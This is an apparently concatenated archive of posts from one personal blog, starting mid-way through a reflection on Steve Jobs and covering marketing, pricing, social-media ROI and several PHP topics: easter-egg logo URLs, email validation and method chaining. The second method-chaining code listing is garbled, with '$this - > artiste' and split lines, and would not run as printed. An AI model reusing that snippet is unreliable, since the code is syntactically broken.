“When I was 17, I read a quote that went something like: ‘If you live each day as if it was your last, someday you’ll most certainly be right.’ It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: ‘If today were the last day of my life, would I want to do what I am about to do today?’ And whenever the answer has been “No” for too many days in a row, I know I need to change something.”
Obviously, the answer has changed. Two days ago, on August 24, 2011, Jobs woke up to a very different tune. He not only knows how to “think different” but showed the courage to act different as well. He walked away from the hands-on role of CEO to settle in as Chairman of the Board at arguably the most valuable company in the world. Why?
The obvious answer is that these may well be the last years and days of Jobs’ life. We, like millions of others, certainly hope with all our hearts that it’s not. But if so, Jobs no doubt knew that something needed to change. Perhaps it really is time for Jobs to go home, as he put it, to a “wonderful family” and an “amazing woman” and re-reflect on a few of the provocative questions (slightly altered) that he posed to the world in his 2005 commencement address:
Have you found “what you love” to do in life?
Are you wasting your life “living someone else’s?”
Do you “have the courage to follow your heart and intuition?
Are you nurturing a “great relationship,” one that “just gets better and better as the years roll on?”
Do you tell “your kids everything you thought you’d have the next 10 years to tell them in just a few months” or days?
Do you make “sure everything is buttoned up so that it will be as easy as possible for your family” when “the single best invention of Life” takes its toll?
Do you say “your goodbyes” before it’s too late to say them?
For almost four decades Steve Jobs has certainly tried his best to “put a ding in the universe.” There is little doubt that he’s done just that on planet earth through Apple Inc.
Now we hope that the world will give Jobs enough time and space to let him put a different ding in the most important part of his universe, relationships at home. Indeed, if he’s decided that it’s time to go home, not in heaven, but on earth, then we hope that he stays “hungry” and “foolish” with those he loves most. If Jobs does, let’s “trust that the dots will somehow connect in the future” while he continues to live each day as if it were his last.
If you were living today as if it were your last, would you be doing what you’re doing right now? If not, then what are you going to do about it?
---
---
title: "English is not Good for Marketing"
url: "https://alsonkaw.com/muse/english-is-not-good-for-marketing/"
lang: "en-US"
type: "post"
description: "You've probably heard this a million times, but the answer of the question How can I improve my business at this age? is almost always Create a social media presence that highlights your expertise. So I've been thinking. If everyone"
last_modified: "2024-08-22T19:54:21+00:00"
categories: [Marketing Strategies & Brand Building]
---
# English is not Good for Marketing
You’ve probably heard this a million times, but the answer of the question
>
How can I improve my business at this age?
is almost always
>
Create a social media presence that highlights your expertise.
So I’ve been thinking. If everyone is now doing marketing in social media. What can make you stand out?
Is it delivery? Marketing campaigns? The personality of the company? What is it you can do make yourself stand out more, that doesn’t really require much effort?
I mucked around the web. Some companies are resorting to using games to hook young adults. For example, [Hotel 626](https://www.youtube.com/watch?v=DIBMfsYIqhk) by Doritos. And the recent, [Duke Nudem](https://www.youtube.com/watch?v=VR-p0dIpIwE) (NSFW-Link),
And then there are videos, marketing using YouTube. I believe you’d remember the [Awareness Test](https://www.youtube.com/watch?v=z0xNDDLsYcA) by London Transport. It currently has 13 million views and is one of the top campaigns in 2008. And how could we forget the [Cadbury Eyebrow](https://www.youtube.com/watch?v=g0uWBog2Oi8) commercial in early 2009. I’m pretty sure you would remember the ad just by listening to the song.
And then there’s simply, advertisement in the products themselves. Remember when Hotmail was cool in the 1990s? Why did everyone started using hotmail? Because, well, it was free and also, it’s useful. You see the @hotmail address and you instantly felt safe emailing. Also, let’s not forget about them forcing a “Send from a Hotmail account” footer similar to what the iPhone does by default. Advertising through the services. That’s also how GMail came to hype.
But of course, we don’t always have funds for such high-profile advertising. What’s something everyone needs and have, but can be unique enough at times?
Language.
Ever wonder why the Japanese brands get so popular inside Japan so quickly?
Because firstly, their language is unique. Japanese don’t search for “Noodle Tokyo” when they want to find a place to eat. They search for “ラーメン東京”. This automatically narrows down the search to within the Japanese ramen community. Successfully eliminating all the english competitors. Which is, well, a lot.
Secondly, most Japanese advertisement are mobile-compatible. They send emails and SMSes to their mobiles directly. This is isolating their advertising channel.
So, basically, the formula is simple enough.
- Use a foreign language (wherever possible).
- Focus on a location.
- Target a demographic
- Focus on a single Social Network first.
Most of the time, sending one single message to one single user who would check out your website beats sending ten messages that end up in ten potential customer’s trash bin.
Defining the boundary of your markets is more than just handy social media trick. By focusing your social media presence so that you can own a specific niche online, you’ll also get clearer about your overall marketing and growth strategy. And you better do that fast, because the Japanese have been doing that for years, people are starting to learn.
---
---
title: "Teh Playground!"
url: "https://alsonkaw.com/muse/teh-playground/"
lang: "en-US"
type: "post"
description: "Teh Playgound is a PHP testbed, where you can do rapid PHP prototyping without the need to build your own LAMP stack or bother with saving files and the like. It allows you to slap together a quick block of"
last_modified: "2024-08-22T19:56:17+00:00"
categories: [Software Development & Best Practices]
tags: [PHP]
---
# Teh Playground!
>
Teh Playgound is a PHP testbed, where you can do rapid PHP prototyping without the need to build your own LAMP stack or bother with saving files and the like. It allows you to slap together a quick block of code and render it straight in your browser, and even proceed to send that data over to a friend or colleague for collaboration.
This man has GOT to be crazy to do this. XSS lights up like an ambulance alarm on this site. Apparently, he’s done pretty a good job on securing it, and I urge you to email/contact him if you find any loopholes or inconsistencies.
No doubt, this will be a good app to add to my toolkit.
Check this app out at — [Teh Playground](https://www.tehplayground.com/)
---
---
title: "Display PHP Logo on any URL"
url: "https://alsonkaw.com/muse/display-php-logo-on-any-url/"
lang: "en-US"
type: "post"
description: "PHP is full of cruft. For example, PHP has a \"feature\" wherein if you add '?=PHPE9568F34-D428-11d2-A769-00AA001ACF42' to the end of a script, it produces the PHP logo. http://en.wikipedia.org/w/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 You can get this ID with php php_logo_guid. There is also php zend_logo_guid and an undocumented php_egg_logo_guid() function: http://digg.com/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 http://php.net/index.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 You"
last_modified: "2024-08-08T18:00:42+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [PHP, Web Development]
---
# Display PHP Logo on any URL
PHP is full of cruft.
For example, PHP has a “feature” wherein if you add `'?=PHPE9568F34-D428-11d2-A769-00AA001ACF42'` to the end of a script, it produces the PHP logo.
[http://en.wikipedia.org/w/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42](https://en.wikipedia.org/w/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42)
You can get this ID with [php php_logo_guid](https://php.net/php_logo_guid).
There is also [php zend_logo_guid](https://php.net/zend_logo_guid) and an undocumented `php_egg_logo_guid()` function:
[http://digg.com/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42](https://digg.com/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42)
[http://php.net/index.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42](https://php.net/index.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42)
You can also get the PHP developer credits with [php phpcredits](https://php.net/phpcredits) or ask any PHP script using another code URL:
[http://xdebug.com/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000](https://xdebug.com/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000)
All of this data is loaded into memory every time a PHP script runs. This takes approximately 21kb of memory (after all the images, credits, and HTML therein) per PHP process, even though these are never used for production applications. Disabling this requires a custom source modification (as of 20100712).
---
---
title: "Color"
url: "https://alsonkaw.com/muse/color/"
lang: "en-US"
type: "post"
description: "I won't comment on the $41 million round they just raised. However, I do love a founder who can tell a good story about what his company does. Being able to distill the mission of the company down to a short,"
last_modified: "2024-08-22T19:57:05+00:00"
categories: [Business Strategies & Market Insights]
---
# Color
I won’t comment on the [$41 million round](https://www.fastcompany.com/1742209/lala-founder-unveils-41-million-real-time-photo-sharing-app-called-color) they just raised.
However, I do love a founder who can tell a good story about what his company does.
Being able to distill the mission of the company down to a short, memorable anecdote that anyone can understand _and_ demonstrates value without being overly hyperbolic is a dark, entrepreneurial voodoo art. Here’s the money quote:
> So imagine you’re at a family member’s wedding. Bridesmaids are snapping pictures of the groom. A friend is shooting video of your kooky cousin singing along with the band on stage. Your sister is taking pictures on the dance floor. With Facebook, all these images wouldn’t show up online for days, weeks, or months even. On Color, the images are available all in real-time, no hassle.
Sounds like it’s worth something.
---
---
title: "Fragility of Free"
url: "https://alsonkaw.com/muse/fragility-of-free/"
lang: "en-US"
type: "post"
description: "Ben Brooks wrote the smartest thing I’ve read all day. A great companion piece to the aforelinked Jason Fried article on how to make money. Also, Kyle Baxter wrote some good comments on Ben’s article: assumed if they reached a critical mass of users, turning it"
last_modified: "2024-08-22T19:57:52+00:00"
categories: [Business Strategies & Market Insights]
---
# Fragility of Free
Ben Brooks [wrote the smartest thing](https://brooksreview.net/2011/03/fragility-free/) I’ve read all day. A great companion piece to the [aforelinked](https://stg.alsonkaw.com/muse/dont-be-afraid-to-charge/) Jason Fried article on how to make money.
Also, Kyle Baxter [wrote some good](https://www.tightwind.net/2011/03/fragility-of-free/) comments on Ben’s article:
>
[Twitter] assumed if they reached a critical mass of users, turning it into a profitable business would be easy—and they’ve discovered that isn’t really true. It takes just as much thinking as building the actual product does.
---
---
title: "Don’t Be Afraid To Charge"
url: "https://alsonkaw.com/muse/dont-be-afraid-to-charge/"
lang: "en-US"
type: "post"
description: "Recently stumbled upon this article titled Making Money by Jason Fried, the co-founder of 37signals. Within this article, I found a goldmine of quotes from him that made me think hard. People's reasons for buying things often don't match up with the"
last_modified: "2024-08-27T05:08:58+00:00"
categories: [Business Strategies & Market Insights]
custom_fields:
post_custom_navigation: 1
---
# Don’t Be Afraid To Charge
Recently stumbled upon this article titled [Making Money](https://www.inc.com/magazine/20110301/making-money-small-business-advice-from-jason-fried.html) by Jason Fried, the co-founder of 37signals. Within this article, I found a goldmine of quotes from him that made me think hard.
> People’s reasons for buying things often don’t match up with the company’s reason for selling them.
This quote totally hits the mark. I’m a freelance web developer, and thus, it’s pretty much a shorthand for a web geek. I thought hard about that, and as I think back, I realized that my clients often tell me “I don’t know what you mean, but if it’s going to help me, go ahead with it. Skip the technical terms.”
My first reaction when I heard that was being slightly angry. In my head, I’m thinking. Why, wouldn’t you want to understand how something that can help you works so you can further capitalize on that?
After reading that article. It dawned on me. Clients don’t need to know how it works, they just need to know how it can help them. Telling them how their application is hosted in a cloud environment or how our software is a SaaS really doesn’t matter to them. They just need to know three things:
- How your product can help them.
- How easy it is to implement their workflow into your product.
- and finally, how much it’s going to cost.
Once these three things are clear and are within their acceptance range, you’ve most probably clinched the deal.
> Charging for something makes you want to make it better.
I couldn’t agree with this enough. I started web developing as an interest. I started out creating free websites for my friends and family, and eventually, started to learn PHP and CSS. Which in turn, started to create my own CMSes from scratch. This was before college and [Aprilism](https://aprilism.com/). So all I do is muck around, finding excuses to create new websites for friends. I even went so far as to create complete CMSes for free for an online game’s play group.
It was exciting in the beginning, people were always extremely excited about it, flocking to it every now and then. But eventually, the adrenaline starts to wear off, and this eventually leads to less traffic, which in turn, demotivated me further, creating a vicious cycle of tons of unsuccessful websites that got forgotten and thrown into the internet abyss to die.
Now that I’m an actual freelancer, getting paid for my services. I feel more enthusiastic about providing a solution to my clients. It also gave me the passion I needed. Bottom line, I started to think: “Wow, this is actually going somewhere.”
Getting paid for your service is not just a financial motivational factor, it lets you know that you can create something that someone else is willing to pay good money for.
> We’ve even sold promotional T-shirts, for $19, when just about everyone else in the business gives them away. People wear shirts they paid $19 for. People turn free T-shirts into rags. Rags don’t promote anyone.
Don’t be afraid to charge for something. Even if it’s freely available for free, if you or your brand are worthy enough, people will pay money for it. It’s almost the same logic as the last quote. Be daring, be an entrepreneur.
---
---
title: "2 Obscure PHP Functions"
url: "https://alsonkaw.com/muse/2-obscure-php-functions/"
lang: "en-US"
type: "post"
description: "Do note that these 2 functions below are built-in PHP functions supported in 5.3=< GOTO There are lots of jokes about the GOTO function in other languages, but in PHP, it can be a really useful exception catching mechanism. <?php"
last_modified: "2024-08-07T16:37:58+00:00"
categories: [Software Development & Best Practices]
tags: [Pen, PHP]
---
# 2 Obscure PHP Functions
Do note that these 2 functions below are built-in PHP functions supported in 5.3=<
### [GOTO](https://web.archive.org/web/20130525150529/http://php.net/manual/en/control-structures.goto.php)
There are lots of jokes about the GOTO function in other languages, but in PHP, it can be a really useful exception catching mechanism.
### [Date Parsing](https://web.archive.org/web/20130525150529/http://php.net/manual/en/function.date-create-from-format.php)
12-03-11 could mean 3 different dates:
- December 3, 2011
- March 12, 2011
- March 11, 2012
It is better to be really specific when working with date and time.
---
---
title: "Commenting Codes: Yes or No?"
url: "https://alsonkaw.com/muse/commenting-codes-yes-or-no/"
lang: "en-US"
type: "post"
description: "Recently went across an article written by Riyad Mamadov titled Don't Waste Your Time Commenting Source Code. It kind of struck home. I've worked with lots of programmers who comment on their code like pros but the algorithms could be"
last_modified: "2024-08-27T05:10:20+00:00"
categories: [Software Development & Best Practices]
tags: [Web Development]
---
# Commenting Codes: Yes or No?
Recently went across an article written by Riyad Mamadov titled Don’t Waste Your Time Commenting Source Code. It kind of struck home. I’ve worked with lots of programmers who comment on their code like pros but the algorithms could be improved upon.
Of course, I’m not saying they should be flawless in algorithms, but I agree with Riyad that, I’d rather you spend more time improving your codes than to comment your codes.
I always feel that commenting on codes is nothing more than helping others learn from what you do. So, if you’re writing an open-source code, yeah, by all means, comment your heart out. But if you’re working on a customized project for production, I don’t see why you should bother commenting on how the code works, other than simple important notes like TODOs or the likes.
Also, if you’re thinking “What if I’m collaborating with someone? I should document codes to let him know right?”. My answer to you is, if you’re working with someone who has no idea what your code does, you have bigger problems than commenting.
---
---
title: "Start “Smush”-ing Your Images"
url: "https://alsonkaw.com/muse/start-smush-ing-your-images/"
lang: "en-US"
type: "post"
description: "Being a web developer, I've always have problems with image sizes. Since I develope in a local environment most of the time before deployment. I have never have had to mess with image sizes. Most of the images load almost"
last_modified: "2024-08-08T18:08:55+00:00"
categories: [SEO Tips & Optimization Strategies]
---
# Start “Smush”-ing Your Images
Being a web developer, I’ve always have problems with image sizes. Since I develope in a local environment most of the time before deployment. I have never have had to mess with image sizes. Most of the images load almost instantly for me. And once it’s over development phase, I just push the application and never bother with it again until I had to pull it up on my browser for some reasons and realize it takes three whole minutes to load all the images on one page, and then I panicked.
Like most developers, I’ve tried using the classic “Save for Web” function in Photoshop, but still, the compression rate to quality ratio is still not impressive enough.
Then, I found [Smush](https://web.archive.org/web/20130525150529/http://www.smushit.com/ysmush.it/)[.it](https://web.archive.org/web/20130525150529/http://www.smushit.com/ysmush.it/). What it does is, it helps to reduce up to 70% of the filesize of images **without** compromising quality.
All you had to do is input the URL to the image files, and it will automatically _“smush”_ the images and give it back to you in a compressed zip file.
So, if bandwidth is a very important aspect you need to consider when launching a web application, do give _Smush.it_ it a try.
---
---
title: "So, Is Flash Going Away?"
url: "https://alsonkaw.com/muse/so-is-flash-going-away/"
lang: "en-US"
type: "post"
description: "Austin Carr, quoting Firefox VP Jay Sullivan: “I think so in the long run,” Sullivan says. “A lot of it has to do with HTML5. With Firefox 4, Internet Explorer 9, and Chrome, to the extent that we provide functionality"
last_modified: "2024-08-27T05:11:15+00:00"
categories: [Software Development & Best Practices]
tags: [Apple]
---
# So, Is Flash Going Away?
[Austin Carr](https://www.fastcompany.com/user/austin-carr), quoting Firefox VP Jay Sullivan:
> “I think so in the long run,” Sullivan says. “A lot of it has to do with HTML5. With Firefox 4, Internet Explorer 9, and Chrome, to the extent that we provide functionality in enough browsers, then the developers will switch over to HTML5, especially in mobile, where you can’t have Flash popping up on every page just to do some little animation. The idea that you’d have to embed an entire instance of the Flash player just to play a 30 second audio clip? It’s crazy.”
via [FastCompany](https://www.fastcompany.com/1737377/firefox-vp-flash-is-going-away).
---
---
title: "Email Validations, the Right Way"
url: "https://alsonkaw.com/muse/email-validations-the-right-way/"
lang: "en-US"
type: "post"
description: "Recently, I've been to quite a few website that require my email, either for launch notifications or for registration. Now, most of you might know that GMail allows you to add the + sign in your emails and it will"
last_modified: "2024-08-07T19:44:02+00:00"
categories: [Software Development & Best Practices]
tags: [PHP]
---
# Email Validations, the Right Way
Recently, I’ve been to quite a few website that require my email, either for launch notifications or for registration. Now, most of you might know that GMail allows you to add the + sign in your emails and it will still reach your email for sorting purposes.
E.g. I may use salmon+posterous[at]aprilism.com for emails from posterous, and maybe +junk for one-off things like bypassing downloads etc.
So, naturally, I used these + tags for junks etc. I was filling up the informations on the page like a ninja, tabbing and typing everywhere, it is until I click the submit button, that I was re-directed back to the form.
So I thought to myself, ah, I must’ve typed the passwords too fast so they don’t match. As I scroll down, I see the password’s perfectly fine. But the email field was lighted up bright red.
What?
Apparently, the site’s regex for email validation don’t allow any other signs except the @ sign.
Whoa, whoa, whoa, slow down there. What?! No + signs? Well, I didn’t bother to try using the . symbol in my email though. So, I sighed and closed the tab.
So now, you may ask, what is the right way to doing it? I’m glad you asked.
Well, you might know that recently, my creative studio got shafted by our webhost and we lost all data on it. So we got to re-script our home page, and that meant recoding our landing page. And I thought it’s a good time to do a more interesting front page considering how I’m already 70% done with the new site, so I implemented a mailing list to the front page, allowing visitors to add their email to the mailing list.
I saw a problem, how am I going to do a valid email validation?
Now, there’re several methods to do it. You could write a messy regex and make sure or alternatively you could also use PHP built in functions, it’s really up to you but I’ll be introducing both today.
## The Regex Method
The regex allows emails with most common symbols in emails. Simple right, yeah, except we all hate Regex.
## The PHP Built-In Method
Now, my preferred method:
So here, we use the [filter_var](https://php.net/manual/en/function.filter-var.php) function to check if the email is valid, and then use check if the DNS of the domain is valid using [checkdnsrr](https://php.net/manual/en/function.checkdnsrr.php), if all goes well, we’ll insert it into the database.
## So there you have it!
Pick whichever floats your boat, but clearly, using the PHP method has 3 advantage:
- You can weed out invalid domain names.
- You don’t have to mess with Regex.
- See reason #2 again.
I think the fact that there’s no regex involved is already a winner by itself, don’t you think?
---
---
title: "Social Media is the bane of Civil Marketing?"
url: "https://alsonkaw.com/muse/social-media-is-the-bane-of-civil-marketing/"
lang: "en-US"
type: "post"
description: "When fashion icon and marketing provocateur Kenneth Cole unleashed this infamous tweet earlier this month on the heels of the uprisings in Cairo, all hell broke loose in the digerati. The digital equivalent of \"off with his head!\" could be heard for"
last_modified: "2024-08-08T18:09:06+00:00"
categories: [Marketing Strategies & Brand Building]
---
# Social Media is the bane of Civil Marketing?
When fashion icon and marketing provocateur Kenneth Cole unleashed this [infamous tweet](https://adage.com/adages/post?article_id=148643) earlier this month on the heels of the uprisings in Cairo, all hell broke loose in the digerati. The digital equivalent of “[off with his head!](https://www.phrases.org.uk/meanings/263700.html)” could be heard for days as people on Twitter, in [blog posts](https://adweek.blogs.com/adfreak/2011/02/egyptians-actually-want-kenneth-cole-shoes.html) and Tumblr updates, and — perhaps most embarrassingly to Cole — on his company’s [Facebook page](https://www.facebook.com/topic.php?uid=9291921501&topic=16039), expressed their grievances over his ill-timed remark.
But, in retrospect, was he really to blame? Or do social networks themselves share responsibility for such shameless online marketing and advertising? At the very least, one has to question whether some social networks actively encourage this type of provocative brand messaging, all in the name of increasing ad revenue and [driving coveted “buzz” for a brand](https://blogs.hbr.org/haque/2010/10/when_going_viral_is_not_engagement.html).
Alexandra Samuel [recently explored the marketing lessons](https://blogs.hbr.org/samuel/2011/02/kenneth-coles-social-media-mar.html) of the Cole tweet on [her blog](https://blogs.hbr.org/samuel/). She noted that,
> Marketers need to recognize that a social media presence is not a billboard: it’s not an empty space that you can buy and slap your message on.
But in reality, the advertising platforms of today’s hottest social networks — Facebook and Twitter — are built around this type of brand messaging. As pressure from investors, the media, and users have mounted, both Facebook and Twitter have introduced [sponsored ad platforms](https://blogs.hbr.org/anthony/2010/04/twitter_ads_add_intrigue.html) that essentially usurp the natural rhythm of conversations on their networks in favor of ad revenue.
In other words, the very social networks that help perpetuate consumer uproar when brands get out of line are actively inviting those same brands and marketers to incite conversations [they know will cause a stir](https://www.advertechie.com/2010/10/was-the-gap-logo-redesign-a-publicity-stunt/) — all in the name of ad revenue.
A veritable “[If you build it, they will come](https://www.imdb.com/title/tt0097351/quotes)” moment for social advertising.
Think of it in terms of Twitter’s [promoted trends and tweets](https://www.mediabistro.com/alltwitter/twitters-promoted-trends-to-cost-advertisers-100000-or-more_b3286) program (the former has been so successful that it now costs advertisers $100,000 per day), or Facebook’s new [wall posts-turned-ads offering](https://voices.washingtonpost.com/fasterforward/2011/01/facebook_sponsored_stories_tur.html). In that light, was Cole’s tweet all that different from the type of one-way, purely promotional “conversations” many social networks publicly eschew, but privately, _want_ brands to engage in?
Neither Twitter nor Facebook is at a loss for ad revenue or attention. [_eMarketer_ recently predicted](https://www.emarketer.com/Reports/All/Emarketer_2000757.aspx) Twitter’s 2011 ad revenue will reach $150 million, a 200-percent increase over last year. Promoted tweets are garnering [interaction rates of five percent](https://www.marketingpilgrim.com/2010/09/promoted-tweets-and-trends-doing-well-with-big-brands.html), significantly higher than the less-than-one-percent standard for display ads. Meanwhile, [_eWeek_ pegs Facebook’s 2011 ad revenue at $4 billion](https://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/Twitter-to-Rack-Up-150M-in-Promoted-Ads-472543/), with users spending an average of 20 minutes per day on the site.
As social ads continue influencing consumers’ online interactions, there are significant ethical implications to consider. In an era where many companies favor a vibrant online presence over traditional brick-and-mortar interactions, greater consideration needs to be given to the tone and type of brand communications on social networks during times of tragedy or national concern.
What I am advocating for, however, is a drastic increase in the level of sensitivity displayed by marketers, even those known to be provocative. Twitter, Facebook, and other social networks could also better educate brands on the implicit and explicit implications of their messages. Each knows the tolerance of its users best, and should do more to ensure the messages and advertising that go across its network align with its users’ — and broader societal — norms and expectations.
Today’s communications and marketing challenges call for more than merely rolling out a new ad platform that quells investors’ ire and advertisers’ concerns. We need to ensure online marketing messages reflect the type of society America and its foreign commercial partners aspire to, rather than reaching for the lowest common denominator — all in the name of increased ad revenue.
---
---
title: "Simple PHP Mehod Chaining"
url: "https://alsonkaw.com/muse/simple-php-mehod-chaining/"
lang: "en-US"
type: "post"
description: "Method chaining is an advanced OOP concept in PHP. If you have experience in working with frameworks like CodeIgniter or CakePHP, you should have noticed a very convenient style of accessing different classes and methods and it looks something like"
last_modified: "2024-08-07T19:43:35+00:00"
categories: [Software Development & Best Practices]
tags: [PHP]
---
# Simple PHP Mehod Chaining
Method chaining is an advanced OOP concept in PHP. If you have experience in working with frameworks like CodeIgniter or CakePHP, you should have noticed a very convenient style of accessing different classes and methods and it looks something like this:
```
$obj->foo->bar->anotherMethod();
```
This technique in programming is known as method chaining. We’ll understand more about this fancy concept by the end of this blog post.
### Method Chaining in Simple Class
class Music{
private $artiste;
private $genre;
public function setArtiste($artiste){
$this->artiste = $artiste;
}
public function setGenre($genre){
$this->genre = $genre;
}
public function displayArtiste(){
echo $this->artiste." belongs to the ".$this->genre. " genre.";
}
}
To access the class, we’ll create an object of the Music class:
$band = new Music();
$band->setArtiste('Aerosmith');
$band->setGenre('Hard Rock');
$band->displayArtiste();
This example will print:
```
Aerosmith belongs to the Hard Rock genre.
```
[Demo](https://codepad.org/ezg4Azpk)
### Introducing Method Chaining
To enable method chaining in our previous example, we need to add only a single line of code in each `'setXXX'` function. And that code is return `$this;`.
Now our class looks like:
class Music {
private $artiste;
private $genre;
public
function setArtiste($artiste) {
$this - > artiste = $artiste;
return $this; //Returns object of 'this' i.e Music class
}
public
function setGenre($genre) {
$this - > genre = $genre;
return $this; //Again, returns object of 'this' i.e Music class
}
public
function displayArtiste() {
echo $this - > artiste.
" belongs to the ".$this - > genre.
" genre.";
}
}
Now, we can finally access our class through fancy method chaining like this:
```
$band = new Music();
$band->setArtiste('Aerosmith')->setGenre('Hard Rock')->displayArtiste();
```
[Demo](https://codepad.org/flWMs09S)
### **Explanation of Concept**
Obvious, now you are slightly confused about what the f@#k is going on here. Let’s go through this code in baby steps. Before that, remember that method chaining in PHP always works from left to right.
`$band = new Music()` creates a new object in the Music class.
Then, `$band->setArtiste('Aerosmith')` assigns the name to a variable and returns the object of the same class. Now that `$band->setArtiste('Aerosmith')` has become an object of the Music class, so we can access the Music class by using `$band->setArtiste('Aerosmith')` as an object.
Next, we set the genre by using `$band->setArtiste('Aerosmith')->setGenre('Hard Rock')`. `setGenre()` again, returns the object of the class, so the complete phrase `$band->setArtiste('Aerosmith')->setGenre('Hard Rock')` is again, now an object of Music.
Lastly, we’ll print out the band’s information by accessing the `displayArtiste()` function:
`$band->setArtiste('Aerosmith')->setGenre('Hard Rock')->displayArtiste();`
And there you have it, basic method chaining.
---
---
title: "Understanding ROI"
url: "https://alsonkaw.com/muse/understanding-roi/"
lang: "en-US"
type: "post"
description: "Return on Investment Contrary to popular beliefs, Social Media is not a FREE service for business. It takes People, Technology, and Time. All of which are limited resources. The Equation The investment would be expected to be returned in many"
last_modified: "2024-08-08T18:19:59+00:00"
categories: [Business Strategies & Market Insights]
---
# Understanding ROI
**Return on Investment**
Contrary to popular beliefs, Social Media is not a FREE service for business. It takes People, Technology, and Time. All of which are limited resources.
**The Equation**
The investment would be expected to be returned in many times more than the invested amount.
ROI = (Gain from investment – Cost of investment) / Cost of Investment
In other words, if you invest 10 dollars on Social Media, and get back 50 dollars, your ROI is (50-10) / 10 = 4 times your initial investment.
**Truth about ROI**
ROI is a business metric, not a media metric. ROI is 100% media-agnostic. Therefore, it is safe to say that only measuring digital or social ROI would get your nowhere. Always remember that the decision of using Social Media as an advertising medium is because for 2 reasons.
Cost Reduction
Revenue Regeneration
**Case Study**
Company X shrank their PR budget by 30% and its outbound call budget by 40% in order to afford to pay a team of Social Media Team.
**One month later**, they started to have new visitors to their corporate website, huge growth in their Facebook fans list and started getting comments on their corporate blog. Their twitter network is also growing in a nice curve.
**Three months later**, the company’s Google Analytics are through the roof, their social media mentions are in a celestial number, and their viral videos on YouTube have reached 44 million views.
**Six months later**, the Social Media marketing team got fired.
Reason? The company is not seeing the results of the social media program. It is not generating revenue even though the social media program is a huge success. This is the business we are talking about here, not the media. The company manager, not convinced that Social Media does not work, employed a new experience team of Social Media gurus.
**The Sequence**
Investment > Action > Reaction > Non-Financial Impact > Financial Impact
Strictly speaking, Non-Financial Impact is not ROI, at least not yet.
**Types of Non-Financial Impacts**
- Website Visitors
- Impressions
- Click-Throughs
- Positive Press
- YouTube Views
- Google Analytic Scores
- Facebook Friends
- Twitter Followers
- Social Mentions
- Visitors to a Brick & Mortar Store
**Back to Sequence**
I’m not saying that whatever is between Investment and Financial Impact is not important. It is very important, but ROI does not live there. The investment-return relationship is only linked from Investment to Financial Impact, bypassing the 3 in-between.
Businesses only measure ROI in the Financial Impact stage.
**So now what?**
Start with a concept proof.
- **Establish a baseline.**
Show a difference in how the company’s YoY growth has improved after implementing Social Media.
- Create an Activity Timeline
Show what the team did each week in regards to social media activities.
E.G. Week 12 — (12/Jun/2010) Jess starts Tweeting
-
Week 13 — (21/Jun/2010) Press Release, (22/Jun./2010) Podcast
-
Week 14 — (2/Jul/2010) Singapore Workshop, (4/Jul/2010) #BlogChat Guest Spot
- Look at Sales Revenues
Request a sales revenue chart from the company and look at what causes sudden spikes in sales on what days.
- E.G. there is a spike of sales on 22/Jun onwards until the end of July before it drops for a bit. We can safely assume the spike in sales is due to the Podcast or the Press Release.
- Look at the number of transactions
You should also compare the number of transactions instead of just the value of revenue.
- Measure net new customers
Measure how many new customers are opening transactions.
- Transaction data must be specific.
Use the FRY approach. (Frequency, Reach, Yield)
- How often do customers transact (Transaction per month)
- How many customers are you reaching (Net New Customers per month)
- How much do they spend ($ per Transaction)
**End Results**
The Social Media marketing team overlaid all their timelines and noticed that since their Social Media activities began, their website visits are up, their social mentions are also up and everyone seems to love the brand. Overlay all the timelines of activities, social data, web data, transactions & loyal metrics, etc. You can look for patterns in the timelines that show impacts. After that, it’s just a process of isolating patterns, quantifying deltas and ad-hoc, figuring out the cost savings and revenue gains, and then plug it into the equation. The key thing is to prove that Social Media works.
---
---
title: "Designed to be Addictive"
url: "https://alsonkaw.com/muse/designed-to-be-addictive/"
lang: "en-US"
type: "post"
description: "People loved watching reality TV shows about people singing and dancing their way to fame. Then we got Glee. People loved books and movies about vampires, werewolves, and a chick. Then we got True Blood. TV isn’t always creative, but"
last_modified: "2024-08-08T18:22:19+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Design, Marketing]
custom_fields:
trx_addons_post_likes_count: 0
trx_addons_post_views_count: 16
powerkit_share_buttons_transient_pinterest: 1722446249
views: 1240
---
# Designed to be Addictive
People loved watching reality TV shows about people singing and dancing their way to fame.
Then we got Glee.
People loved books and movies about vampires, werewolves, and a chick.
Then we got True Blood.
TV isn’t always creative, but at the same time, it can still be very successful. I don’t watch any of these shows, but what made these shows successful after copying the general theme, was that they copied the emotional pull of what made their predecessor successful, then they cranked it emotionally.
Glee isn’t a show that reflects the experience of learning to sing and dance, it’s a show that makes an emotional connection between the audience with the unexpected stars who cover almost all the high school archetypes. After that, everything is a sensory overload of sight, sound, emotion, and sex.
If you’ve read Brave New World, maybe you’ll recognize how this is similar to the Feelies from that story,
“…an entertainment form with an incredible level of sensation but with minimal substance.” – [http://en.wikipedia.org/wiki/Feelie](https://en.wikipedia.org/wiki/Feelie)
Sounds a lot like junk food. And you know what the problem with junk food is? It’s designed to be addictive.
After you do get addicted, you lose your appetite for anything else.
---
---
title: "Microsoft spent seven times as much as Apple on R&D over the past four years."
url: "https://alsonkaw.com/muse/microsoft-spent-seven-times-as-much-as-apple-on-rd-over-the-past-four-years/"
lang: "en-US"
type: "post"
description: "via (Daring Fireball) It just goes to show that piling an endless stream of money into a problem isn’t necessarily the way to develop something innovative."
last_modified: "2024-08-08T18:23:00+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Apple, Marketing]
---
# Microsoft spent seven times as much as Apple on R&D over the past four years.
via ([Daring Fireball](https://daringfireball.net/linked/2010/05/24/apple-growth-cheney))
It just goes to show that piling an endless stream of money into a problem isn’t necessarily the way to develop something innovative.
---
---
title: "Andrew Klavan on How 21st Century Technology Affects Creativity"
